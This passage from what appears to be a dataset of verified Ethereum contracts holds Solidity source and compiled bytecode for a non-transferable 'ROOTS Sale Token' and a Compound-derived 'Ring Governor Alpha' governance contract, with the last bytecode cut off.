decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/RootsSaleToken.sol contract RootsSaleToken is Contactable, MintableToken { string constant public name = "ROOTS Sale Token"; string constant public symbol = "ROOTSSale"; uint constant public decimals = 18; bool public isTransferable = false; function transfer(address _to, uint _value) public returns (bool) { require(isTransferable); return false; } function transfer(address _to, uint _value, bytes _data) public returns (bool) { require(isTransferable); return false; } function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(isTransferable); return false; } function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool) { require(isTransferable); return false; } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde0314610148578063095ea7b3146101d257806318160ddd146101f45780632121dc751461021957806323b872dd1461022c578063313ce5671461025457806336f7ab5e1461026757806340c10f191461027a578063661884631461029c57806370a08231146102be5780637d64bcb4146102dd5780638da5cb5b146102f057806395d89b411461031f578063a9059cbb14610332578063ab67aa5814610354578063b967a52e146103c0578063be45fd6214610413578063d73dd62314610478578063dd62ed3e1461049a578063f2fde38b146104bf575b600080fd5b341561012c57600080fd5b6101346104de565b604051901515815260200160405180910390f35b341561015357600080fd5b61015b6104e7565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019757808201518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610134600160a060020a036004351660243561051e565b34156101ff57600080fd5b61020761058a565b60405190815260200160405180910390f35b341561022457600080fd5b610134610591565b341561023757600080fd5b610134600160a060020a036004358116906024351660443561059f565b341561025f57600080fd5b6102076105c2565b341561027257600080fd5b61015b6105c7565b341561028557600080fd5b610134600160a060020a0360043516602435610665565b34156102a757600080fd5b610134600160a060020a036004351660243561076c565b34156102c957600080fd5b610207600160a060020a0360043516610866565b34156102e857600080fd5b610134610881565b34156102fb57600080fd5b6103036108ee565b604051600160a060020a03909116815260200160405180910390f35b341561032a57600080fd5b61015b6108fd565b341561033d57600080fd5b610134600160a060020a0360043516602435610934565b341561035f57600080fd5b610134600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061095695505050505050565b34156103cb57600080fd5b61041160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061097a95505050505050565b005b341561041e57600080fd5b61013460048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061059f95505050505050565b341561048357600080fd5b610134600160a060020a03600435166024356109ac565b34156104a557600080fd5b610207600160a060020a0360043581169060243516610a50565b34156104ca57600080fd5b610411600160a060020a0360043516610a7b565b60055460ff1681565b60408051908101604052601081527f524f4f54532053616c6520546f6b656e00000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6001545b90565b600554610100900460ff1681565b600554600090610100900460ff1615156105b857600080fd5b5060009392505050565b601281565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561065d5780601f106106325761010080835404028352916020019161065d565b820191906000526020600020905b81548152906001019060200180831161064057829003601f168201915b505050505081565b60035460009033600160a060020a0390811691161461068357600080fd5b60055460ff161561069357600080fd5b6001546106a6908363ffffffff610b1616565b600155600160a060020a0383166000908152602081905260409020546106d2908363ffffffff610b1616565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156107c957600160a060020a033381166000908152600260209081526040808320938816835292905290812055610800565b6107d9818463ffffffff610b2c16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461089f57600080fd5b60055460ff16156108af57600080fd5b6005805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600981527f524f4f545353616c650000000000000000000000000000000000000000000000602082015281565b600554600090610100900460ff16151561094d57600080fd5b50600092915050565b600554600090610100900460ff16151561096f57600080fd5b506000949350505050565b60035433600160a060020a0390811691161461099557600080fd5b60048180516109a8929160200190610b3e565b5050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546109e4908363ffffffff610b1616565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a9657600080fd5b600160a060020a0381161515610aab57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610b2557fe5b9392505050565b600082821115610b3857fe5b50900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610b7f57805160ff1916838001178555610bac565b82800160010185558215610bac579182015b82811115610bac578251825591602001919060010190610b91565b50610bb8929150610bbc565b5090565b61058e91905b80821115610bb85760008155600101610bc25600a165627a7a72305820d440042fc9713a2f992b0e07690f7c97f6b01504acd57b9b324980a8758366710029
{"success": true, "error": null, "results": {}}
5,448
0xf9567165d5f6fa26dbeffc852a7bd7bd2d398241
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; pragma experimental ABIEncoderV2; // Forked from Compound // See https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol contract GovernorAlpha { /// @notice The name of this contract // solhint-disable-next-line const-name-snakecase string public constant name = "Ring Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 25000000e18; } // 25,000,000 = 2.5% of Ring /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 2500000e18; } // 2,500,000 = .25% of Ring /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 3333; } // ~0.5 days in blocks (assuming 13s blocks) /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 10000; } // ~1.5 days in blocks (assuming 13s blocks) /// @notice The address of the Ring Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Ring governance token RingInterface public ring; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { uint id; address proposer; uint eta; address[] targets; uint[] values; string[] signatures; bytes[] calldatas; uint startBlock; uint endBlock; uint forVotes; uint againstVotes; bool canceled; bool executed; mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { bool hasVoted; bool support; uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address ring_, address guardian_) { timelock = TimelockInterface(timelock_); ring = RingInterface(ring_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(ring.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal storage newProposal = proposals[proposalCount]; newProposal.id = proposalCount; newProposal.proposer = msg.sender; newProposal.eta = 0; newProposal.targets = targets; newProposal.values = values; newProposal.signatures = signatures; newProposal.calldatas = calldatas; newProposal.startBlock = startBlock; newProposal.endBlock = endBlock; newProposal.forVotes = 0; newProposal.againstVotes = 0; newProposal.canceled = false; newProposal.executed = false; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; // solhint-disable-next-line not-rely-on-time uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction{value : proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState _state = state(proposalId); require(_state == ProposalState.Active || _state == ProposalState.Pending, "GovernorAlpha: can only cancel Active or Pending Proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || ring.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; // solhint-disable-next-line not-rely-on-time } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha: voter already voted"); uint96 votes = ring.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha: sender must be gov guardian"); guardian = address(0); } function __transferGuardian(address newGuardian) public { require(msg.sender == guardian, "GovernorAlpha: sender must be gov guardian"); guardian = newGuardian; } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); // solhint-disable-next-line func-name-mixedcase function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface RingInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x6080604052600436106101b75760003560e01c80634634c61f116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610491578063deaaa7cc146104b1578063e23a9a52146104c6578063fe0d94c1146104f3576101b7565b8063d33219b414610447578063da35c6641461045c578063da95691a14610471576101b7565b80638360c185116100c65780638360c185146103e857806391500671146103fd578063b58131b01461041d578063b9a6196114610432576101b7565b80634634c61f1461039e578063760fbc13146103be5780637bdbe4d0146103d3576101b7565b806321f43e42116101595780633932abb1116101335780633932abb11461031a5780633e4f49e61461032f57806340e58ee51461035c578063452a93201461037c576101b7565b806321f43e42146102b557806324bc1a64146102d5578063328dd982146102ea576101b7565b806315373e3d1161019557806315373e3d1461023e57806317977c61146102605780631afef6e41461028057806320606b70146102a0576101b7565b8063013cf08b146101bc57806302a251a3146101fa57806306fdde031461021c575b600080fd5b3480156101c857600080fd5b506101dc6101d736600461231e565b610506565b6040516101f199989796959493929190612df1565b60405180910390f35b34801561020657600080fd5b5061020f61055f565b6040516101f19190612743565b34801561022857600080fd5b50610231610565565b6040516101f191906127ba565b34801561024a57600080fd5b5061025e610259366004612361565b610594565b005b34801561026c57600080fd5b5061020f61027b366004612168565b6105a3565b34801561028c57600080fd5b5061025e61029b366004612168565b6105b5565b3480156102ac57600080fd5b5061020f61060a565b3480156102c157600080fd5b5061025e6102d0366004612182565b61062e565b3480156102e157600080fd5b5061020f61070c565b3480156102f657600080fd5b5061030a61030536600461231e565b61071b565b6040516101f194939291906126eb565b34801561032657600080fd5b5061020f6109aa565b34801561033b57600080fd5b5061034f61034a36600461231e565b6109b0565b6040516101f191906127a6565b34801561036857600080fd5b5061025e61037736600461231e565b610b3a565b34801561038857600080fd5b50610391610db8565b6040516101f1919061259c565b3480156103aa57600080fd5b5061025e6103b9366004612390565b610dc7565b3480156103ca57600080fd5b5061025e610f76565b3480156103df57600080fd5b5061020f610fb2565b3480156103f457600080fd5b50610391610fb7565b34801561040957600080fd5b5061025e610418366004612182565b610fc6565b34801561042957600080fd5b5061020f61109b565b34801561043e57600080fd5b5061025e6110aa565b34801561045357600080fd5b5061039161112f565b34801561046857600080fd5b5061020f61113e565b34801561047d57600080fd5b5061020f61048c3660046121ab565b611144565b34801561049d57600080fd5b5061025e6104ac36600461231e565b6114ab565b3480156104bd57600080fd5b5061020f611715565b3480156104d257600080fd5b506104e66104e1366004612336565b611739565b6040516101f19190612d2b565b61025e61050136600461231e565b6117a5565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b61271090565b6040518060400160405280601381526020017252696e6720476f7665726e6f7220416c70686160681b81525081565b61059f33838361196a565b5050565b60056020526000908152604090205481565b6002546001600160a01b031633146105e85760405162461bcd60e51b81526004016105df90612a79565b60405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6002546001600160a01b031633146106585760405162461bcd60e51b81526004016105df90612a79565b600080546040516001600160a01b0390911691630825f38f9183919061068290879060200161259c565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016106b194939291906125c9565b600060405180830381600087803b1580156106cb57600080fd5b505af11580156106df573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261070791908101906122ab565b505050565b6a14adf4b7320334b900000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561079d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161077f575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156107ef57602002820191906000526020600020905b8154815260200190600101908083116107db575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108c25760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108ae5780601f10610883576101008083540402835291602001916108ae565b820191906000526020600020905b81548152906001019060200180831161089157829003601f168201915b505050505081526020019060010190610817565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109945760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109805780601f1061095557610100808354040283529160200191610980565b820191906000526020600020905b81548152906001019060200180831161096357829003601f168201915b5050505050815260200190600101906108e9565b5050505090509450945094509450509193509193565b610d0590565b600081600354101580156109c45750600082115b6109e05760405162461bcd60e51b81526004016105df90612909565b6000828152600460205260409020600b81015460ff1615610a05576002915050610b35565b80600701544311610a1a576000915050610b35565b80600801544311610a2f576001915050610b35565b80600a01548160090154111580610a505750610a4961070c565b8160090154105b15610a5f576003915050610b35565b6002810154610a72576004915050610b35565b600b810154610100900460ff1615610a8e576007915050610b35565b610b1f816002015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610ae257600080fd5b505afa158015610af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1a9190612293565b611b33565b4210610b2f576006915050610b35565b60059150505b919050565b6000610b45826109b0565b90506001816007811115610b5557fe5b1480610b6c57506000816007811115610b6a57fe5b145b610b885760405162461bcd60e51b81526004016105df90612cce565b60008281526004602052604090206002546001600160a01b0316331480610c535750610bb261109b565b60018054838201546001600160a01b039182169263782d6fe19290911690610bdb904390611b5f565b6040518363ffffffff1660e01b8152600401610bf89291906125b0565b60206040518083038186803b158015610c1057600080fd5b505afa158015610c24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4891906123e6565b6001600160601b0316105b610c6f5760405162461bcd60e51b81526004016105df906127cd565b600b8101805460ff1916600117905560005b6003820154811015610d7b576000546003830180546001600160a01b039092169163591fcdfe919084908110610cb357fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610cdb57fe5b9060005260206000200154856005018581548110610cf557fe5b90600052602060002001866006018681548110610d0e57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610d3d9594939291906126b2565b600060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505060019092019150610c819050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610dab9190612743565b60405180910390a1505050565b6002546001600160a01b031681565b60408051808201909152601381527252696e6720476f7665726e6f7220416c70686160681b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f58ed7da889f820b45353864c630e36b95e4d307a3c0f99a1981b0f2af096c75b610e3e611b87565b30604051602001610e52949392919061274c565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610ea193929190612770565b60405160208183030381529060405280519060200120905060008282604051602001610ece929190612581565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610f0b9493929190612788565b6020604051602081039080840390855afa158015610f2d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f605760405162461bcd60e51b81526004016105df90612c6a565b610f6b818a8a61196a565b505050505050505050565b6002546001600160a01b03163314610fa05760405162461bcd60e51b81526004016105df90612a79565b600280546001600160a01b0319169055565b600a90565b6001546001600160a01b031681565b6002546001600160a01b03163314610ff05760405162461bcd60e51b81526004016105df90612a79565b600080546040516001600160a01b0390911691633a66f9019183919061101a90879060200161259c565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161104994939291906125c9565b602060405180830381600087803b15801561106357600080fd5b505af1158015611077573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107079190612293565b6a021165458500521280000090565b6002546001600160a01b031633146110d45760405162461bcd60e51b81526004016105df90612a79565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561111557600080fd5b505af1158015611129573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b600061114e61109b565b600180546001600160a01b03169063782d6fe190339061116f904390611b5f565b6040518363ffffffff1660e01b815260040161118c9291906125b0565b60206040518083038186803b1580156111a457600080fd5b505afa1580156111b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111dc91906123e6565b6001600160601b0316116112025760405162461bcd60e51b81526004016105df906128b3565b84518651148015611214575083518651145b8015611221575082518651145b61123d5760405162461bcd60e51b81526004016105df90612ac3565b855161125b5760405162461bcd60e51b81526004016105df90612a36565b611263610fb2565b865111156112835760405162461bcd60e51b81526004016105df90612ba8565b3360009081526005602052604090205480156113005760006112a4826109b0565b905060018160078111156112b457fe5b14156112d25760405162461bcd60e51b81526004016105df9061294b565b60008160078111156112e057fe5b14156112fe5760405162461bcd60e51b81526004016105df906129c0565b505b600061130e43610b1a6109aa565b9050600061131e82610b1a61055f565b6003805460019081018083556000818152600460209081526040822092835592820180546001600160a01b0319163317905560028201558c519394509261136a928401918d0190611cea565b50885161138090600483019060208c0190611d4f565b50875161139690600583019060208b0190611d8a565b5086516113ac90600683019060208a0190611de3565b5082816007018190555081816008018190555060008160090181905550600081600a0181905550600081600b0160006101000a81548160ff021916908315150217905550600081600b0160016101000a81548160ff0219169083151502179055508060000154600560008360010160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000154338c8c8c8c89898e60405161149599989796959493929190612d59565b60405180910390a1549998505050505050505050565b60046114b6826109b0565b60078111156114c157fe5b146114de5760405162461bcd60e51b81526004016105df90612b4b565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115339442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610ae257600080fd5b905060005b60038301548110156116db576116d383600301828154811061155657fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061157e57fe5b906000526020600020015485600501848154811061159857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116265780601f106115fb57610100808354040283529160200191611626565b820191906000526020600020905b81548152906001019060200180831161160957829003601f168201915b505050505086600601858154811061163a57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116c85780601f1061169d576101008083540402835291602001916116c8565b820191906000526020600020905b8154815290600101906020018083116116ab57829003601f168201915b505050505086611b8b565b600101611538565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610dab9085908490612e3d565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b611741611e3c565b5060009182526004602090815260408084206001600160a01b03939093168452600c9092018152918190208151606081018352905460ff80821615158352610100820416151593820193909352620100009092046001600160601b03169082015290565b60056117b0826109b0565b60078111156117bb57fe5b146117d85760405162461bcd60e51b81526004016105df90612814565b6000818152600460205260408120600b8101805461ff001916610100179055905b600382015481101561192e576000546004830180546001600160a01b0390921691630825f38f91908490811061182b57fe5b906000526020600020015484600301848154811061184557fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061186d57fe5b906000526020600020015486600501868154811061188757fe5b906000526020600020018760060187815481106118a057fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118cf9594939291906126b2565b6000604051808303818588803b1580156118e857600080fd5b505af11580156118fc573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261192591908101906122ab565b506001016117f9565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161195e9190612743565b60405180910390a15050565b6001611975836109b0565b600781111561198057fe5b1461199d5760405162461bcd60e51b81526004016105df90612c33565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119e65760405162461bcd60e51b81526004016105df90612871565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a1c918a916004016125b0565b60206040518083038186803b158015611a3457600080fd5b505afa158015611a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6c91906123e6565b90508315611a9557611a8b8360090154826001600160601b0316611b33565b6009840155611ab2565b611aac83600a0154826001600160601b0316611b33565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b23908890889088908690612635565b60405180910390a1505050505050565b600082820183811015611b585760405162461bcd60e51b81526004016105df90612b20565b9392505050565b600082821115611b815760405162461bcd60e51b81526004016105df90612c9f565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611bb99088908890889088908890602001612666565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611beb9190612743565b60206040518083038186803b158015611c0357600080fd5b505afa158015611c17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c3b9190612277565b15611c585760405162461bcd60e51b81526004016105df90612bdf565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c909088908890889088908890600401612666565b602060405180830381600087803b158015611caa57600080fd5b505af1158015611cbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ce29190612293565b505050505050565b828054828255906000526020600020908101928215611d3f579160200282015b8281111